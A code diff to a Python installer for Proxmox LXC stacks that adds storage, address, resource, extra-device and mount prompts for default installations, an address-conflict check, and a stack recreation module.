def ask_extra_devices(ui, devices, unprivileged, allow_coral=False):
def ask_extra_devices(ui, devices, unprivileged, allow_coral=False, kinds=('gpu', 'nvidia', 'usb')):
"""Keep manual attachments separate from image-owned GPU profiles."""
result = list(devices)
while ui.confirm(translate('Add another GPU or USB device manually?'), False):
options = [
options = [option for option in (
('gpu', translate('Intel/AMD DRM node (device only)')),
('nvidia', translate('NVIDIA runtime (device and host driver libraries)')),
('usb', translate('USB or serial device node')),
]
) if option[0] in kinds]
if allow_coral:
options.append(('coral', translate('Coral PCIe/M.2 device node')))
kind = ui.choose(translate('Device to attach'), options)
+14
View File
@@ -101,6 +101,20 @@ def gib(value: Any) -> int:
return 0
def address_answers(address: str, bridge: str) -> bool:
"""Whether a device of the network already answers on this address. The
neighbour table tells, so a device that drops pings is found too; without a
host address on that network nothing can be asked and nothing is assumed."""
try:
subprocess.run(["ping", "-c", "1", "-W", "1", "-I", bridge, address],
capture_output=True, timeout=5, check=False)
result = subprocess.run(["ip", "-4", "neigh", "show", address, "dev", bridge],
capture_output=True, text=True, timeout=5, check=False)
except (OSError, subprocess.TimeoutExpired):
return False
return " lladdr " in f" {result.stdout} "
# USB classes as the Monitor labels them.
_USB_CLASSES = {
"01": "Audio", "02": "Communications", "03": "HID", "06": "Imaging", "07": "Printer",
+153 -45
View File
@@ -124,6 +124,57 @@ def ask_storage(ui, text: str, content: str, default: str, mode: str = ADVANCED_
return selected
def essential_ui(ui):
"""The interface for what every installation decides — its storage, its
address and how it starts — which a default installation asks as well."""
return getattr(ui, "real", None) or ui
def _answers_from_recipe(ui) -> bool:
"""Whether this container is being planned as a member of a stack, which
has already asked what the user decides."""
from .stack import DefaultsUI
return isinstance(ui, DefaultsUI)
def ask_application_extra_paths(ui, existing: list[str], storage: str) -> list[dict[str, Any]]:
"""Extra paths for the application container of a multi-container
application. An advanced installation asks them; a default one does not."""
if _answers_from_recipe(ui):
return []
planned = [{"type": "managed-volume", "container_path": path} for path in existing]
return [mount for mount in ask_custom_mounts(ui, planned, storage) if mount.get("custom")]
def ask_application_extra_devices(ui, kinds: tuple[str, ...] = ("gpu", "usb")) -> list[dict[str, Any]]:
"""USB, serial or GPU nodes for the application container of a
multi-container application; asked in an advanced installation only."""
if _answers_from_recipe(ui):
return []
from .extra_devices import ask_extra_devices
return ask_extra_devices(ui, [], True, kinds=kinds)
def ask_application_resources(ui, cores: int, memory_mb: int, swap_mb: int) -> dict[str, int]:
"""CPU and memory of the application container of a multi-container
application. An advanced installation asks them; a default one does not."""
if not _answers_from_recipe(ui):
cores = int(ui.ask(translate("CPU cores"), str(cores)))
memory_mb = int(ui.ask(translate("Memory in MB"), str(memory_mb)))
if cores < 1 or memory_mb < 256:
raise InstallError(translate("Invalid resources"))
return {"cores": cores, "memory_mb": memory_mb, "swap_mb": swap_mb}
def ask_default_storage(ui, preferred: str) -> str | None:
"""In a default installation, the one storage that holds the containers and
their data; None in an advanced one, which asks each storage separately."""
real = getattr(ui, "real", None)
if real is None:
return None
return ask_storage(real, translate("Storage for the containers and their data"), "rootdir", preferred)
def ask_bridge(ui, text: str, default: str, mode: str = ADVANCED_MODE) -> str:
if mode == DEFAULT_MODE:
return host.default_bridge(default)
@@ -197,7 +248,7 @@ def build_deployment(
'image-immich', 'image-nextcloud-stack', 'image-paperless-ngx', 'image-tandoor'
}:
from .stack import DefaultsUI
ui = DefaultsUI()
ui = DefaultsUI(ui)
if template.get("id") == "image-immich":
return _build_immich_deployment(template, ui)
if template.get("id") == "image-nextcloud-stack":
@@ -283,6 +334,9 @@ def build_deployment(
memory_default = installer_profile.get('resources', {}).get('memory_default_mb', defaults['memory_mb'])
mac_address = installer_profile.get("network", {}).get("mac_address")
timezone = host.timezone()
# A default installation still asks its storage, its address and how it
# starts, unless a stack is planning this container and asked them itself.
silent = not advanced and _answers_from_recipe(ui)
if advanced:
vmid_text = ui.ask(translate("VMID (empty = next free)"), "", required=False)
hostname = ui.ask(translate("Hostname"), hostname_default)
@@ -301,8 +355,15 @@ def build_deployment(
else:
vmid_text = ""
hostname = hostname_default
rootfs_storage = ask_storage(ui, "", "rootdir", defaults["rootfs_storage"], DEFAULT_MODE)
volume_storage = ask_storage(ui, "", "rootdir", defaults["volume_storage"], DEFAULT_MODE)
if silent:
rootfs_storage = ask_storage(ui, "", "rootdir", defaults["rootfs_storage"], DEFAULT_MODE)
volume_storage = ask_storage(ui, "", "rootdir", defaults["volume_storage"], DEFAULT_MODE)
else:
# One storage for the container and its data; the advanced
# installation is where each one is chosen separately.
rootfs_storage = ask_storage(ui, translate("Storage for the container and its data"), "rootdir",
defaults["rootfs_storage"])
volume_storage = rootfs_storage
template_storage = ask_storage(ui, "", "vztmpl", defaults["template_storage"], DEFAULT_MODE)
rootfs_size = int(defaults["rootfs_size_gb"])
cores = int(defaults["cores"])
@@ -400,8 +461,12 @@ def build_deployment(
ipv4, gateway = access.ask_ipv4(ui, bridge)
else:
bridge = ask_bridge(ui, "", defaults["bridge"], DEFAULT_MODE)
ipv4 = "host" if host_monitor else defaults["ipv4"]
gateway = None
if host_monitor:
ipv4, gateway = "host", None
elif silent:
ipv4, gateway = defaults["ipv4"], None
else:
ipv4, gateway = access.ask_ipv4(ui, bridge)
host_firewall = confirm_host_monitor_firewall(ui, template, bridge) if host_monitor else None
@@ -493,9 +558,12 @@ def build_deployment(
if advanced:
onboot = ui.confirm(translate("Start with Proxmox"), defaults["onboot"])
start_after = ui.confirm(translate("Start when finished"), True)
else:
elif silent:
onboot = bool(defaults["onboot"])
start_after = True
else:
onboot = ui.confirm(translate("Start with Proxmox"), defaults["onboot"])
start_after = ui.confirm(translate("Start when finished"), True)
if post_start_configurations and not start_after:
if not ui.confirm(translate("The application configuration needs a first start to complete.")
@@ -583,6 +651,10 @@ def _build_rclone_deployment(
vmid_text = ui.ask(translate("VMID (empty = next free)"), "", required=False)
hostname = ui.ask(translate("Hostname"), schema["hostname"]["default"])
cores = int(ui.ask(translate("CPU cores"), str(defaults["cores"])))
memory = int(ui.ask(translate("Memory in MB"), str(defaults["memory_mb"])))
if cores < 1 or memory < 256:
raise InstallError(translate("Invalid resources"))
rootfs_storage = ask_storage(ui, translate("Storage for rootfs"), "rootdir", schema["rootfs_storage"]["default"])
config_storage = ask_storage(ui, translate("Storage for the persistent configuration"), "rootdir",
schema["config_storage"]["default"])
@@ -613,8 +685,8 @@ def _build_rclone_deployment(
"template_storage": template_storage,
"rootfs": {"storage": rootfs_storage, "size_gb": rootfs_size},
"resources": {
"cores": defaults["cores"],
"memory_mb": defaults["memory_mb"],
"cores": cores,
"memory_mb": memory,
"swap_mb": defaults["swap_mb"],
"cpu_units": None,
},
@@ -726,9 +798,12 @@ def _build_immich_deployment(
stack_name = ui.ask(translate("Stack name"), defaults["stack_name"])
if not re.fullmatch(r"[a-z0-9][a-z0-9-]{0,31}", stack_name):
raise InstallError(translate("The stack name only accepts lowercase letters, numbers and hyphens"))
rootfs_storage = ask_storage(ui, translate("Storage for rootfs"), "rootdir", defaults["rootfs_storage"])
resources = ask_application_resources(ui, 4, 3072, 1024)
chosen_storage = ask_default_storage(ui, defaults["rootfs_storage"])
rootfs_storage = ask_storage(ui, translate("Storage for rootfs"), "rootdir",
chosen_storage or defaults["rootfs_storage"])
template_storage = ask_storage(ui, translate("Storage for the OCI image cache"), "vztmpl", pve_defaults["template_storage"])
media_mode = ui.choose(
media_mode = essential_ui(ui).choose(
translate("Where to store the Immich library"),
[
("managed-volume", translate("Dedicated container volume (included in backups)")),
@@ -739,25 +814,26 @@ def _build_immich_deployment(
if media_mode is None:
raise UserCancelled(translate("Immich configuration cancelled"))
if media_mode == "managed-volume":
media_storage = ask_storage(ui, translate("Storage for the Immich library"), "rootdir", pve_defaults["volume_storage"])
media_size = int(ui.ask(translate("Library size in GB"), "100"))
media_storage = ask_storage(ui, translate("Storage for the Immich library"), "rootdir", chosen_storage or pve_defaults["volume_storage"])
media_size = int(essential_ui(ui).ask(translate("Library size in GB"), "100"))
if media_size < 8:
raise InstallError(translate("The Immich library needs at least 8 GB"))
media_root = None
else:
media_default = defaults["shared_media_root"].replace("${stack_name}", stack_name)
media_root = ui.ask(translate("Shared host directory"), media_default)
media_root = essential_ui(ui).ask(translate("Shared host directory"), media_default)
media_storage = None
media_size = None
database_storage = ask_storage(ui, translate("Local storage for PostgreSQL"), "rootdir", defaults["database_storage"])
database_storage = ask_storage(ui, translate("Local storage for PostgreSQL"), "rootdir", chosen_storage or defaults["database_storage"])
database_size = int(
ui.ask(translate("PostgreSQL volume size in GB"), str(defaults["database_size_gb"]))
)
if database_size < 8:
raise InstallError(translate("The PostgreSQL volume needs at least 8 GB"))
extra_mounts = ask_application_extra_paths(ui, ["/data"], media_storage or rootfs_storage)
frontend_bridge = ask_bridge(ui, translate("Access bridge for Immich"), defaults["frontend_network"]["bridge"])
addresses, frontend_gateway = access.ask_addresses(
ui, frontend_bridge, [translate("Immich server"), translate("Immich machine learning")])
essential_ui(ui), frontend_bridge, [translate("Immich server"), translate("Immich machine learning")])
server_ipv4, ml_ipv4 = addresses.values()
timezone = ui.ask(translate("Timezone"), host.timezone())
video_acceleration = ui.choose(
@@ -800,10 +876,14 @@ def _build_immich_deployment(
"were tested in the lab and are not a universal minimum. Compatibility depends on the "
"GPU, the models and the kernel. NVIDIA uses the GPUs of the Toolkit inventory; Intel "
"keeps the CPU topology."))
extra_devices = ask_application_extra_devices(ui, ("usb",))
return {
"deployment_kind": "immich-four-lxc-stack",
"base_vmid": int(vmid_text) if vmid_text else None,
"stack_name": stack_name,
"resources": resources,
"extra_mounts": extra_mounts,
"extra_devices": extra_devices,
"template_storage": template_storage,
"rootfs_storage": rootfs_storage,
"database_storage": database_storage,
@@ -816,8 +896,8 @@ def _build_immich_deployment(
"backup": media_mode == "managed-volume",
},
"timezone": timezone,
"onboot": ui.confirm(translate("Start the stack with Proxmox"), pve_defaults["onboot"]),
"start_after_create": ui.confirm(translate("Start when finished"), True),
"onboot": essential_ui(ui).confirm(translate("Start the stack with Proxmox"), pve_defaults["onboot"]),
"start_after_create": essential_ui(ui).confirm(translate("Start when finished"), True),
"network": {
"frontend_bridge": frontend_bridge,
"frontend_ipv4": server_ipv4,
@@ -858,10 +938,13 @@ def _build_nextcloud_stack_deployment(
stack_name = ui.ask(translate("Stack name"), defaults["stack_name"])
if not re.fullmatch(r"[a-z0-9][a-z0-9-]{0,31}", stack_name):
raise InstallError(translate("The stack name only accepts lowercase letters, numbers and hyphens"))
resources = ask_application_resources(ui, 2, 2048, 1024)
rootfs_storage = ask_storage(ui, translate("Storage for rootfs"), "rootdir", defaults["rootfs_storage"])
chosen_storage = ask_default_storage(ui, defaults["rootfs_storage"])
rootfs_storage = ask_storage(ui, translate("Storage for rootfs"), "rootdir",
chosen_storage or defaults["rootfs_storage"])
template_storage = ask_storage(ui, translate("Storage for the OCI image cache"), "vztmpl", pve_defaults["template_storage"])
application_mode = ui.choose(
application_mode = essential_ui(ui).choose(
translate("Where to store the Nextcloud files, configuration and data"),
[
("managed-volume", translate("Dedicated container volume (included in backups)")),
@@ -872,9 +955,9 @@ def _build_nextcloud_stack_deployment(
if application_mode is None:
raise UserCancelled(translate("Nextcloud configuration cancelled"))
if application_mode == "managed-volume":
application_storage = ask_storage(ui, translate("Storage for the Nextcloud data"), "rootdir", defaults["application_storage"])
application_storage = ask_storage(ui, translate("Storage for the Nextcloud data"), "rootdir", chosen_storage or defaults["application_storage"])
application_size = int(
ui.ask(
essential_ui(ui).ask(
translate("Nextcloud volume size in GB"),
str(defaults["application_volume_size_gb"]),
)
@@ -886,11 +969,11 @@ def _build_nextcloud_stack_deployment(
shared_default = defaults["shared_application_root"].replace(
"${stack_name}", stack_name
)
application_root = ui.ask(translate("Shared host directory"), shared_default)
application_root = essential_ui(ui).ask(translate("Shared host directory"), shared_default)
application_storage = None
application_size = None
database_storage = ask_storage(ui, translate("Local storage for PostgreSQL"), "rootdir", defaults["database_storage"])
database_storage = ask_storage(ui, translate("Local storage for PostgreSQL"), "rootdir", chosen_storage or defaults["database_storage"])
database_size = int(
ui.ask(
translate("PostgreSQL volume size in GB"),
@@ -900,8 +983,9 @@ def _build_nextcloud_stack_deployment(
if database_size < 8:
raise InstallError(translate("The PostgreSQL volume needs at least 8 GB"))
extra_mounts = ask_application_extra_paths(ui, ["/var/www/html"], application_storage or rootfs_storage)
frontend_bridge = ask_bridge(ui, translate("Access bridge for Nextcloud"), defaults["frontend_network"]["bridge"])
addresses, frontend_gateway = access.ask_addresses(ui, frontend_bridge, [""])
addresses, frontend_gateway = access.ask_addresses(essential_ui(ui), frontend_bridge, [""])
timezone = ui.ask(translate("Timezone"), host.timezone())
admin_username = ui.ask(
translate("Initial administrator user"), defaults["application"]["admin_username"]
@@ -909,11 +993,15 @@ def _build_nextcloud_stack_deployment(
if not re.fullmatch(r"[A-Za-z0-9_.@-]+", admin_username):
raise InstallError(translate("The administrator user contains characters that are not allowed"))
extra_devices = ask_application_extra_devices(ui)
private = defaults["private_network"]
return {
"deployment_kind": "nextcloud-three-lxc-stack",
"base_vmid": int(vmid_text) if vmid_text else None,
"stack_name": stack_name,
"resources": resources,
"extra_mounts": extra_mounts,
"extra_devices": extra_devices,
"template_storage": template_storage,
"rootfs_storage": rootfs_storage,
"application": {
@@ -932,8 +1020,8 @@ def _build_nextcloud_stack_deployment(
"timezone": timezone,
"maintenance_window_start_utc": defaults["maintenance_window_start_utc"],
"default_phone_region": defaults["default_phone_region"],
"onboot": ui.confirm(translate("Start the stack with Proxmox"), pve_defaults["onboot"]),
"start_after_create": ui.confirm(translate("Start when finished"), True),
"onboot": essential_ui(ui).confirm(translate("Start the stack with Proxmox"), pve_defaults["onboot"]),
"start_after_create": essential_ui(ui).confirm(translate("Start when finished"), True),
"network": {
"frontend_bridge": frontend_bridge,
"frontend_ipv4": addresses[""],
@@ -961,21 +1049,24 @@ def _build_paperless_stack_deployment(
stack_name = ui.ask(translate("Stack name"), defaults["stack_name"])
if not re.fullmatch(r"[a-z0-9][a-z0-9-]{0,31}", stack_name):
raise InstallError(translate("The stack name only accepts lowercase letters, numbers and hyphens"))
resources = ask_application_resources(ui, 2, 2048, 1024)
rootfs_storage = ask_storage(ui, translate("Storage for rootfs"), "rootdir", defaults["rootfs_storage"])
chosen_storage = ask_default_storage(ui, defaults["rootfs_storage"])
rootfs_storage = ask_storage(ui, translate("Storage for rootfs"), "rootdir",
chosen_storage or defaults["rootfs_storage"])
template_storage = ask_storage(ui, translate("Storage for the OCI image cache"), "vztmpl", pve_defaults["template_storage"])
application_storage = ask_storage(ui, translate("Storage for Paperless data and documents"), "rootdir", defaults["application_storage"])
application_storage = ask_storage(ui, translate("Storage for Paperless data and documents"), "rootdir", chosen_storage or defaults["application_storage"])
data_size = int(
ui.ask(translate("Data volume size in GB"), str(defaults["data_volume_size_gb"]))
)
media_size = int(
ui.ask(
essential_ui(ui).ask(
translate("Documents volume size in GB"),
str(defaults["media_volume_size_gb"]),
)
)
database_storage = ask_storage(ui, translate("Local storage for PostgreSQL"), "rootdir", defaults["database_storage"])
database_storage = ask_storage(ui, translate("Local storage for PostgreSQL"), "rootdir", chosen_storage or defaults["database_storage"])
database_size = int(
ui.ask(
translate("PostgreSQL volume size in GB"),
@@ -985,7 +1076,7 @@ def _build_paperless_stack_deployment(
if min(data_size, database_size) < 8 or media_size < 8:
raise InstallError(translate("The Paperless persistent volumes need at least 8 GB"))
transfer_mode = ui.choose(
transfer_mode = essential_ui(ui).choose(
translate("Where to store the consume and export folders"),
[
("host-bind", translate("Shared host directories (not included in Proxmox backups)")),
@@ -999,7 +1090,7 @@ def _build_paperless_stack_deployment(
transfer_root = None
if transfer_mode == "managed-volume":
transfer_size = int(
ui.ask(
essential_ui(ui).ask(
translate("Size of each consume/export volume in GB"),
str(defaults["transfer_volume_size_gb"]),
)
@@ -1010,12 +1101,15 @@ def _build_paperless_stack_deployment(
transfer_default = defaults["shared_transfer_root"].replace(
"${stack_name}", stack_name
)
transfer_root = ui.ask(
transfer_root = essential_ui(ui).ask(
translate("Shared directory for consume and export"), transfer_default
)
extra_mounts = ask_application_extra_paths(
ui, ["/usr/src/paperless/data", "/usr/src/paperless/media", "/usr/src/paperless/consume",
"/usr/src/paperless/export"], application_storage)
frontend_bridge = ask_bridge(ui, translate("Access bridge for Paperless"), defaults["frontend_network"]["bridge"])
addresses, frontend_gateway = access.ask_addresses(ui, frontend_bridge, [""])
addresses, frontend_gateway = access.ask_addresses(essential_ui(ui), frontend_bridge, [""])
timezone = ui.ask(translate("Timezone"), host.timezone())
ocr_language = ui.ask(translate("OCR language (Tesseract code)"), defaults["ocr_language"])
if not re.fullmatch(r"[a-z]{3}(?:\+[a-z]{3})*", ocr_language):
@@ -1026,11 +1120,15 @@ def _build_paperless_stack_deployment(
if not re.fullmatch(r"[A-Za-z0-9_.@-]+", admin_username):
raise InstallError(translate("The administrator user contains characters that are not allowed"))
extra_devices = ask_application_extra_devices(ui)
private = defaults["private_network"]
return {
"deployment_kind": "paperless-three-lxc-stack",
"base_vmid": int(vmid_text) if vmid_text else None,
"stack_name": stack_name,
"resources": resources,
"extra_mounts": extra_mounts,
"extra_devices": extra_devices,
"template_storage": template_storage,
"rootfs_storage": rootfs_storage,
"application_storage": application_storage,
@@ -1051,8 +1149,8 @@ def _build_paperless_stack_deployment(
"ocr_language": ocr_language,
},
"timezone": timezone,
"onboot": ui.confirm(translate("Start the stack with Proxmox"), pve_defaults["onboot"]),
"start_after_create": ui.confirm(translate("Start when finished"), True),
"onboot": essential_ui(ui).confirm(translate("Start the stack with Proxmox"), pve_defaults["onboot"]),
"start_after_create": essential_ui(ui).confirm(translate("Start when finished"), True),
"network": {
"frontend_bridge": frontend_bridge,
"frontend_ipv4": addresses[""],
@@ -1080,11 +1178,14 @@ def _build_tandoor_stack_deployment(
stack_name = ui.ask(translate("Stack name"), defaults["stack_name"])
if not re.fullmatch(r"[a-z0-9][a-z0-9-]{0,31}", stack_name):
raise InstallError(translate("The stack name only accepts lowercase letters, numbers and hyphens"))
resources = ask_application_resources(ui, 2, 2048, 512)
rootfs_storage = ask_storage(ui, translate("Storage for rootfs"), "rootdir", defaults["rootfs_storage"])
chosen_storage = ask_default_storage(ui, defaults["rootfs_storage"])
rootfs_storage = ask_storage(ui, translate("Storage for rootfs"), "rootdir",
chosen_storage or defaults["rootfs_storage"])
template_storage = ask_storage(ui, translate("Storage for the OCI image cache"), "vztmpl", pve_defaults["template_storage"])
media_mode = ui.choose(
media_mode = essential_ui(ui).choose(
translate("Where to store the recipe images and files"),
[
("managed-volume", translate("Dedicated container volume (included in backups)")),
@@ -1095,9 +1196,9 @@ def _build_tandoor_stack_deployment(
if media_mode is None:
raise UserCancelled(translate("Tandoor configuration cancelled"))
if media_mode == "managed-volume":
media_storage = ask_storage(ui, translate("Storage for Tandoor files"), "rootdir", defaults["application_storage"])
media_storage = ask_storage(ui, translate("Storage for Tandoor files"), "rootdir", chosen_storage or defaults["application_storage"])
media_size = int(
ui.ask(
essential_ui(ui).ask(
translate("Files volume size in GB"),
str(defaults["media_volume_size_gb"]),
)
@@ -1109,18 +1210,18 @@ def _build_tandoor_stack_deployment(
media_default = defaults["shared_media_root"].replace(
"${stack_name}", stack_name
)
media_root = ui.ask(translate("Shared host directory"), media_default)
media_root = essential_ui(ui).ask(translate("Shared host directory"), media_default)
media_storage = None
media_size = None
static_storage = ask_storage(ui, translate("Storage for staticfiles"), "rootdir", defaults["application_storage"])
static_storage = ask_storage(ui, translate("Storage for staticfiles"), "rootdir", chosen_storage or defaults["application_storage"])
static_size = int(
ui.ask(
translate("staticfiles volume size in GB"),
str(defaults["static_volume_size_gb"]),
)
)
database_storage = ask_storage(ui, translate("Local storage for PostgreSQL"), "rootdir", defaults["database_storage"])
database_storage = ask_storage(ui, translate("Local storage for PostgreSQL"), "rootdir", chosen_storage or defaults["database_storage"])
database_size = int(
ui.ask(
translate("PostgreSQL volume size in GB"),
@@ -1132,8 +1233,10 @@ def _build_tandoor_stack_deployment(
translate("Tandoor needs at least 1 GB for staticfiles and 4 GB for PostgreSQL")
)
extra_mounts = ask_application_extra_paths(
ui, ["/opt/recipes/mediafiles", "/opt/recipes/staticfiles"], static_storage)
frontend_bridge = ask_bridge(ui, translate("Access bridge for Tandoor"), defaults["frontend_network"]["bridge"])
addresses, frontend_gateway = access.ask_addresses(ui, frontend_bridge, [""])
addresses, frontend_gateway = access.ask_addresses(essential_ui(ui), frontend_bridge, [""])
timezone = ui.ask(translate("Timezone"), host.timezone())
allowed_hosts = ui.ask(
translate("Allowed hosts (comma separated; * allows access through the assigned IP)"),
@@ -1152,7 +1255,9 @@ def _build_tandoor_stack_deployment(
if not re.fullmatch(r"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}", admin_email):
raise InstallError(translate("The administrator email is not valid"))
onboot = ui.confirm(translate("Start the stack with Proxmox"), pve_defaults["onboot"])
extra_devices = ask_application_extra_devices(ui)
onboot = essential_ui(ui).confirm(translate("Start the stack with Proxmox"), pve_defaults["onboot"])
# The first start creates the administrator, so a default installation does not ask it.
start_after = ui.confirm(translate("Start when finished"), True)
if not start_after:
raise UserCancelled(
@@ -1164,6 +1269,9 @@ def _build_tandoor_stack_deployment(
"deployment_kind": "tandoor-two-lxc-stack",
"base_vmid": int(vmid_text) if vmid_text else None,
"stack_name": stack_name,
"resources": resources,
"extra_mounts": extra_mounts,
"extra_devices": extra_devices,
"template_storage": template_storage,
"rootfs_storage": rootfs_storage,
"application_storage": static_storage,
+19 -12
View File
@@ -373,27 +373,34 @@ def _manage_stack(project, ui, row, action=None, lifecycle_args=()):
if not members:
ui.message(translate('This stack has no saved members to update.'), translate('OCI stack management'))
return False
if needs_replay and not (
updatable = not needs_replay or (
oci_stack_replay.nextcloud_menu_ready(primary) or
oci_stack_replay.paperless_menu_ready(primary) or
oci_stack_replay.tandoor_menu_ready(primary) or
oci_stack_replay.immich_menu_ready(primary)):
oci_stack_replay.immich_menu_ready(primary))
if not updatable and action in (None, 'update'):
ui.message(translate('This stack needs rootfs adaptations that coordinated updates cannot replay yet.'), translate('OCI stack management'))
return False
if action == 'recreate':
ui.message(translate('A multi-container application is not recreated: its containers are updated together.'), translate('OCI stack management'))
return False
if action == 'update':
return False
if action is None:
action = ui.choose(translate('Manage OCI stack'),
[('update', translate('Update every container of the application')),
('remove', translate('Remove: delete the application and its containers'))], 'update')
# A stack that cannot be updated can still be removed.
options = [('update', translate('Update every container of the application'))] if updatable else []
options.append(('recreate', translate('Recreate: add or remove extra paths and devices')))
options.append(('remove', translate('Remove: delete the application and its containers')))
action = ui.choose(translate('Manage OCI stack'), options, options[0][0])
if action is None:
return False
if action == 'remove':
return _remove(project, ui, primary_id)
if not ui.review(f"{translate('All stack members are updated together. Main CT:')} {primary_id}, "
f"{translate('members:')} {len(members)}. "
f"{translate('All images are downloaded and verified first, and native backups are taken with the stack stopped. Contracts are published after the whole set is checked. If a step fails, recovery is attempted where needed; recovery can also fail.')}",
if action == 'recreate':
# Nothing is rebuilt: only the extra paths and devices of the
# application container change.
from .stack_recreation import recreate_stack
return recreate_stack(project, ui, primary, _run_lifecycle)
if not ui.review(translate('All {count} containers of the application are updated together (main CT: {vmid}). '
'If there are new versions, all images are downloaded and verified, the application '
'is stopped, each container is backed up and replaced with its new image. If anything '
'fails, the backups are restored.').format(count=len(members), vmid=primary_id),
translate('Update OCI stack'), question=translate('Update the whole stack?'), default=True):
return False
else:
+4
View File
@@ -71,6 +71,10 @@ def _static_address(ui, bridge: str, label: str, default: str, taken: set[str])
if str(interface.ip) in taken:
ui.message(f"{translate('The address is already assigned on this host or cluster:')} {interface.ip}")
continue
# The address this container already has answers because it is its own.
if value != default and host.address_answers(str(interface.ip), bridge):
ui.message(f"{translate('Another device of the network already answers on this address:')} {interface.ip}")
continue
return interface
+35 -12
View File
@@ -261,6 +261,11 @@ def resolve_environments(services, timezone, generators=None):
class DefaultsUI:
"""Answers every question with the value of the recipe. `real` is the
interface the installer uses for the few questions a default installation
still asks."""
def __init__(self, real=None):
self.real = real
def ask(self, text, default=None, required=True):
return default if default is not None else ''
def choose(self, text, options, default=None):
@@ -295,29 +300,44 @@ def build_stack(template, ui, mode='advanced'):
raise StackError('; '.join(problems))
services = copy.deepcopy(ordered_services(template))
defaults = template['proxmox']['defaults']
name = _hostname_default(ui.ask(translate('Stack name'), template['compose_stack']['project_name']))
vmid = ui.ask(translate('Base VMID (empty = next free block)'), '', required=False)
# A default installation takes the name, the VMID and the settings from the
# recipe; it still asks the storage, the address and how the stack starts.
quiet = DefaultsUI() if mode == DEFAULT_MODE else ui
name = _hostname_default(quiet.ask(translate('Stack name'), template['compose_stack']['project_name']))
vmid = quiet.ask(translate('Base VMID (empty = next free block)'), '', required=False)
from . import host
from . import network as access
from .installer import _ask_size, ask_bridge, ask_storage
root = ask_storage(ui, translate('Storage for rootfs'), 'rootdir', defaults['rootfs_storage'], mode)
if mode == DEFAULT_MODE:
root = ask_storage(ui, translate('Storage for the containers and their data'), 'rootdir',
defaults['rootfs_storage'])
else:
root = ask_storage(ui, translate('Storage for rootfs'), 'rootdir', defaults['rootfs_storage'])
cache = ask_storage(ui, translate('Storage for the OCI image cache'), 'vztmpl', defaults['template_storage'], mode)
generators = template.get('proxmox', {}).get('stack_generators', {})
# The data paths of every member are settled before the network and the settings.
volumes = (ask_storage(ui, '', 'rootdir', defaults['volume_storage'], mode) if mode == DEFAULT_MODE else root)
volumes = root
draft_envs = resolve_environments(copy.deepcopy(services), host.timezone(), generators)
drafts = []
for s in services:
draft = copy.deepcopy(s)
draft['compose']['environment'] = draft_envs[s['name']]
_, plan = _service_plan(template, draft)
if mode != DEFAULT_MODE and s['name'] == template['compose_stack']['main_service']:
resources = {'cores': int(ui.ask(translate('CPU cores'), str(plan['resources']['cores']))),
'memory_mb': int(ui.ask(translate('Memory in MB'), str(plan['resources']['memory_mb'])))}
if resources['cores'] < 1 or resources['memory_mb'] < 256:
raise StackError(translate('Invalid resources'))
# The paths of the application itself hold the user's data, so where
# they go is asked in a default installation too; the databases and
# caches beside it keep the values of the recipe.
asked = mode != DEFAULT_MODE or s['name'] == template['compose_stack']['main_service']
for m in plan['mounts']:
label = f"{s['name']}: {m['container_path']}"
mount_mode = ('managed-volume' if mode == DEFAULT_MODE else
ui.choose(f"{translate('Where to store')} {label}",
mount_mode = (ui.choose(f"{translate('Where to store')} {label}",
[('managed-volume', translate('Container volume (included in backups)')),
('host-bind', translate('Host directory (not included in Proxmox backups)'))],
'managed-volume'))
'managed-volume') if asked else 'managed-volume')
if mount_mode is None:
raise StackError(translate('Storage selection cancelled'))
m.update(type=mount_mode, source=volumes, backup=mount_mode=='managed-volume')
@@ -325,9 +345,10 @@ def build_stack(template, ui, mode='advanced'):
m['source'] = ui.ask(f"{translate('Host path for')} {label}",
'/mnt/oci-shared/'+name+'/'+s['name']+'/'+m['container_path'].strip('/').replace('/','-'))
m['size_gb'] = None
elif mode != DEFAULT_MODE:
volumes = ask_storage(ui, f"{translate('Storage for')} {label}", 'rootdir', volumes)
m['source'] = volumes
elif asked:
if mode != DEFAULT_MODE:
volumes = ask_storage(ui, f"{translate('Storage for')} {label}", 'rootdir', volumes)
m['source'] = volumes
m['size_gb'] = _ask_size(ui, label, max(8, m['size_gb'] or 8))
if m['size_gb'] is not None and m['size_gb'] < 1:
raise StackError(translate('Invalid volume size'))
@@ -338,13 +359,13 @@ def build_stack(template, ui, mode='advanced'):
ask_stack_custom_mounts(ui, drafts, volumes)
bridge = ask_bridge(ui, translate('Access bridge'), defaults['bridge'], mode)
addresses, gateway = access.ask_addresses(ui, bridge, [''])
timezone = ui.ask(translate('Timezone'), host.timezone())
timezone = quiet.ask(translate('Timezone'), host.timezone())
envs = resolve_environments(services, timezone, generators)
for group in template.get('proxmox', {}).get('stack_optional_environment', []):
service_name = group['service']
if service_name not in envs:
raise StackError(f"{translate('Unknown credential service:')} {service_name}")
if not ui.confirm(f"{translate('Configure')} {group['label']} ({translate('optional')})", False):
if not quiet.confirm(f"{translate('Configure')} {group['label']} ({translate('optional')})", False):
continue
for field in group['fields']:
if field['name'] not in envs[service_name] or envs[service_name][field['name']] != '':
@@ -375,6 +396,8 @@ def build_stack(template, ui, mode='advanced'):
if 'memory_default_mb' not in single['proxmox'].get('installer_profile', {}).get('resources', {}):
plan['resources']['memory_mb'] = max(1024 if k in {'postgres','mariadb','linuxserver/mariadb','mongo','getmeili/meilisearch'} else 512, plan['resources']['memory_mb'])
plan['mounts'] = drafts[index]['deployment']['mounts']
if main and mode != DEFAULT_MODE:
plan['resources'].update(resources)
if k == 'postgres':
health = {'type':'exec','timeout_seconds':180,'argv':['pg_isready','-h','127.0.0.1','-U',env.get('POSTGRES_USER','postgres'),'-d',env.get('POSTGRES_DB',env.get('POSTGRES_USER','postgres'))]}
elif k == 'mariadb':
+171
View File
@@ -0,0 +1,171 @@
"""Recreate for a multi-container application: add or remove the extra paths
and devices of its application container. Its own data, its database and the
other containers are never part of it."""
from __future__ import annotations
import json
import re
import subprocess
import sys
import tempfile
from .custom_mounts import ask_custom_mounts
from .extra_devices import ask_extra_devices
from .i18n import translate
# The paths each recipe mounts in its application container: its own data,
# which Recreate never offers to remove.
RECIPE_PATHS = {
'install_nextcloud_stack.sh': ('/var/www/html',),
'install_paperless_stack.sh': ('/usr/src/paperless/data', '/usr/src/paperless/media',
'/usr/src/paperless/consume', '/usr/src/paperless/export'),
'install_tandoor_stack.sh': ('/opt/recipes/mediafiles', '/opt/recipes/staticfiles'),
'install_immich_stack.sh': ('/data',),
}
APPLICATION_ROLES = ('application', 'server')
